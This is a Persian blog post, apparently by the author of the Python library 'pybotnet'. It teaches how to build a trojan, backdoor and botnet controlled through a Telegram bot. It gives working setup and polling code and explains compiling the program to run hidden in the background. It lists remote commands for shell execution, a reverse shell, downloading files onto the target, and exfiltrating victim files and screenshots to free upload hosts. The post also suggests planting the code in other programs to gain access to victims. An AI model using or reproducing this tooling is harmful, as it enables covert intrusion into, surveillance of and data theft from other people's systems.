ویرگول
ورودثبت نام
onionj
onionjبرنامه نویس و مهندس عمران!
onionj
onionj
خواندن ۷ دقیقه·۵ سال پیش

ساخت تروجان , بک دور و بات نت با پایتون و پنل تلگرام

اسب تروجان!
اسب تروجان!


سلام دوستان
تاحالا شده بخواید چند تا سرور رو هم زمان کنترل کنید ؟ لپتاب هم دم دستتون نباشه ؟
یا بخواید تویه کدتون یه تروجان اضافه کنید تا وقتی کد اجرا شد از سیستم قربانی دسترسی بگیرید؟
یا حمله های ddos ؟!

خب البته مورد دوم و سوم اصلا کار درستی نیست اینکارو نکنید!

به هر حال, من درحال توسعه یه کتابخونه پایتون به اسم pybotnet هستم که اینکار هارو واسمون انجام میده!


  • این کتابخانه از پایتون 3.6 به بالا پشتیبانی میکنه
  • کنترل پنل ضد فیلتر تلگرام داره و روز به روز درحال پیشرفته :)

    در حال حاضر که من این متن رو مینویسم اخرین نسخش 0.20.7 هست و امکانات زیر رو داره:

  • گرفتن کامند از تلگرام و اجرای اون کامند
  • بصورت خودکار عملیات گرفتن کامند و ارسال پیام پروکسی میشه!
  • گرفتن اطلاعات سیستم مثل ایپی , مک ادرس , مسیر اجرای اسکریت , سیستم عامل و ..
  • گرفتن و اجرای کامند در شل لینوکس یا سی ام دی ویندوز و برگردوندن نتیجه
  • شل معکوس, که میتونید با تاخیر کم با ترمینال تارگت کار کنید و خروجی دستوراتتون رو ببینید
  • ارسال فایل به سیستم تارگت
  • دریافت فایل های سیستم قربانی تا سقف ۵ گیگ

    و یه سری امکانات دیگه که میتونید از داکیومنت اصلی بخونید:


https:/pypi.org/project/pybotnet/


خب بریم یکم کد بنویسیم :)

اول کتابخونه رو با دستور ‍‍‍‍‍‍pip install pybotnet نصب میکنید.

و بعد اون رو در کد ایمپورت میکنیم:

from pybotnet import pybotnet


خب واسه اینکه اسکریپت بتونه به تلگرام متصل بشه به یک ربات api تلگرام نیاز داریم که با استفاده از ربات botfather خود تلگرام میتونید ربات api بسازید و اگر بلد نبودین یه سرچ کنید واسش کلی اموزش میاد کار سختی نیست, وقتی ربات رو ساختین توکن ربات رو بردارین و با استفاده از اکانتی که میخاید اون رو کنترل کنید ربات رو استارت کنید.

و واسه اینکه کتابخونه pybotnet بدونه باید پیام ها رو به کی بفرسته یا از کی دستورات رو بگیره شما باید ایدی عددی اکانت تلگرامتون رو هم بدونید , میتونید به ربات userinfobot در تلگرام پیام بدین تا ایدی عددی اکانت رو بهتون بده.

خب تا اینجا ما توکن ربات تلگرام و ایدی عددی اکانتمون رو داریم که میتونیم کد رو تکمیل کنیم و کلاس اصلی کتابخونه رو شبیه سازی کنیم
کد تا اینجا به این شکل در میاد:

from pybotnet import pybotnet # telegram api token (Get it from the telegram @botfather) TELEGRAM_TOKEN = '1468299547:ABHs_________MzZcYxF_e00000000000' # telegram account number ID (get it from @userinfobot) ADMIN_CHAT_ID = '12345678910' bot = pybotnet.PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID, show_log=True, send_system_data=True, is_shell=True)

تویه خط اخر کد بالا سه تا پارامتر دیگه هم به کلاس پاس دادیم, بیاید اونهارو هم توضیح بدم:

اولیش که show_log هست برای زمان های دیباگ استفاده میشه و اگه مثل الان مقدارش True باشه لاگ های هر متود و قسمت کد که اجرا میشه رو چاپ میکنه و حتما اگه نمیخاید کسی اون لاگ هارو ببینه مقدارش رو False کنید.
دومیش که send_system_data هست, اگه روشن باشه زیر هر پیامی که به ادمین میفرسته یه سری اطلاعات اضافه میکنه مثل مک ادرس , سیستم عامل , ای پی و لوکیشن ...
سعی کنید این رو همیشه رویه حالت True بزارید که اگه هم زمان چند جا کد رو اجرا کردین, بدونید هر پیام از کدوم سیستم داره میاد.
سومیش که is_shell هست واسه زمانی استفاده میشه که شما میخاید کد رو با کتابخونه های مثل pyinstaller به برنامه اجرای تبدیل کنید , اگه کد رو بدون شل کامپایل کنید باید مقدار این پارامتر رو False کنید.
چه زمانی ممکنه کد رو بدون شل کامپایل کنید ؟ وقتای که میخاید برنامه در پس زمینه اجرا بشه و کاربر اون رو نبینه یا وقتی برنامتون گرافیک داره و دیگه شل رو نمیخاید.

نکته اول: اگه مثلا is_shell رویه False باشه و کامندی رو به ربات بدین تا بره و در cmd اجرا کنه برنامه یه شل رویه دسکتاپ باز میکنه اجرا میکنه و میبنده!
نکته دوم: اگه is_shell رو رویه حالت True بزارید اما برنامه رو بدون شل کمپایل کنید اپشن اجرای کامند در شل رو از دست میدین!

خب بریم ادامه کد نویسی...

ما میتونیم خودمون با استفاده از ماژول های کتابخونه مرحله به مرحله کد رو بنویسیم, مثل گرفتن کامند از تلگرام و اجرای اون دستور یا مثلا اگه فلان کامند بود فلان اتفاق در کد بیوفته و یا استفاده از متود های دریافت فایل, ارسال فایل , اجرای دستور در شل و .. که خود کتابخونه داره یا متود های که بعدا بهش اضافه میشه..

اما کتابخونه خودش یه ماژول داره که میتونه بصورت خودکار دستوراتی که میاد رو بگیره و چک کنه اگر دستور در لیست دستورات اصلی بود اون رو اجرا کنه.
لیست دستورات رو میتونید تویه داکیومنت اصلی ببینید اما من انتهای این اموزش چند تا از اونارو میارم.

خب بریم کد رو تکمیل کنیم:

from pybotnet import pybotnet import time # change TELEGRAM_TOKEN and ADMIN_CHAT_ID to valid data: # telegram api token (Get it from the telegram @botfather) TELEGRAM_TOKEN = '1468299547:ABHs_________MzZcYxF_e00000000000' # telegram account number ID (get it from @userinfobot) ADMIN_CHAT_ID = '12345678910' # * is_sheel: if you compile code without shell: is_sheel=False # * show_log: just for debugging # * send_system_data: send system short info in every bot messages in telegram bot = pybotnet.PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID, show_log=False, send_system_data=True, is_shell=True) delay = 10 # کمتر از ده ثانیه نزارید while True: print('*-*'*15) bot.get_and_execute_scripts_by_third_party_proxy() time.sleep(delay)


خب وقتی کد بالا رو اجرا کنید میتونید دستورات زیر رو از طریق تلگرام به ربات بفرستین.

نکته: نیازی به روشن کردن فیلترشکن واسه کد نیست چون خودکار دیتا رو جاهای مختلف پروکسی میکنه و دستورات رو میگیره

دستور ساده و کاربردی اول get_info هست , کافیه این رو بفرستین تا اطلاعاتی از سیستمی که ربات اجرا شده بگیری.


get_info

دستور دوم cmd هست که میتونید باهاش یه کامند در شل لینوکس یا سی ام دی ویندوز تارگت اجرا کنید.


cmd <system command>
cmd mkdir new_folder

cmd ls <route>
cmd cd <route>

نکته: از دستورات بی پایان استفاده نکنید.


دستور سوم reverse_shelهست که وقتی این دستور رو وارد کنید ربات با دیلی خیلی کم دستورات شما رو میگیره و در ترمینال تارگت وارد میکنه و خروجی رو بر میگردون.. کار دستور بالا رو انجام میده ولی واسه زمانی استفاده میشه که تعداد دستوراتتون زیاد باشه و بخایید تارگت سریع جواب بده
با exit هم میتونید از شل معکوس خارج بشید

نکته: اگه چند تارگت دارید که با یک توکن اجرا شدن باید قبل کامند reverse_shel مک ادرس اون سیستم مورد نظر رو هم بزارید:


<Target_MAC_Address> reverse_shell
یا اگر فقط یک تارگت دارید:
reverse_shell

زمانی که دستور ران شود ربات همچین چیزی واسه شما مینویسه که یعنی منتظر کامند شماست:

/home/user=>

که به عنوان مثال شما واسش ls رو میفرستین.


دستور چهارم export_file هست , با این دستور میتونید به سیستم تارگت فایل بفرستین.

export_file <link>
export_file https://github.com/onionj/pybotnet/archive/refs/heads/master.zip

ربات این لینک رو دانلود میکنه و در مسیری که اجرا شده میریزه.


دستور پنجم دستور import_file هست, با این دستور میتونید از سیستم تارگت یک فایل رو یگیرید.

import_file <file_route>
import_file /home/onionj/folder/somting.png

وقتی این دستور رو اجرا کنید ربات اون فایل رو زیپ میکنه و اپلود میکنه تویه یه هاست رایگان و لینک دانلود رو واستون میفرسته, تایم اوت اپلود فایل 20 دقیقه هست ینی اگه تویه این تایم فایل اپلود نشده بود عملیات قطع میشه و اسکریپت به چرخه خودش بر میگرده , محدودیت حجم هم 5 گیگ هست.


دستور اخری که اینجا میارم screenshotهست که وقتی واسه ربات بفرستین یه اسکرین شات میگیره و در یه سایت اپلود رایگان اپلودش میکنه و لینکشو واستون میفرسته

واسه دیدن بقیه دستورات و دستورات جدیدی که اضافه میشه, میتونید از جدول داخل داکیومنت اصلی استفاده کنید, کتابخونه درحال پیشرفت هست و امکانات زیادی قراره بهش اضافه بشه مثل کی لاگر , دیداس و ..
و شاید زمانی که این متن رو میخونید خیلی چیزا اضافه شده باشه پس حتما دایکومنت رو ببینید.
لینک داکیومنت :

https:/pypi.org/project/pybotnet/


و واسه خوشحال کردن من میتونید این نوشته رو لایک کنید کامنت بزارید و یا اگه خاستین خیلی خیلی خوشحال بشم میتونید به پروژه در گیتهاب ستاره بدین و یا در نوشتنش کمک کنید یا بهم ایده بدین تا امکانات جدیدی اضافه کنم.

لینک گیتهاب پروژه:

‍‍‍‍‍‍‍https://github.com/onionj/pybotnet

سوالی داشتین میتونید تویه کامنت های همینجا بپرسید و یا در گیتهاب پروژه issues باز کنید.

موفق باشید.




۸
۴
onionj
onionj
برنامه نویس و مهندس عمران!
شاید از این پست‌ها خوشتان بیاید